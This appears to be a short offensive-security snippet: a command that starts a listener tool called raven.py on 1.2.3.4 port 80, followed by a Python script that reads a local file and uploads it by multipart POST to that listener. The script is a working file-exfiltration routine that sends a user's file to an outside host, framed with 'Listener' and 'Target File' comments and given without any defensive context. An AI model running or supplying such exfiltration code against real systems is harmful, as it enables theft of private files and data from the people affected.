python3 raven.py 1.2.3.4 80 --upload-folder /data/backups/
#!/usr/bin/env python3
import requests
import uuid
# Listener
url = "http://1.2.3.4:80/"
# Target File
file_path = "/Users/aiden/Downloads/test.zip"
file_name = file_path.split("/")[-1]
with open(file_path, "rb") as file:
file_content = file.read()
boundary = str(uuid.uuid4())
# Request Headers
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
# Request Body
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{file_name}"\r\n'
"Content-Type: application/octet-stream\r\n\r\n"
f"{file_content.decode('ISO-8859-1')}\r\n"
f"--{boundary}--\r\n"
)
# Upload File
requests.post(url, headers=headers, data=body)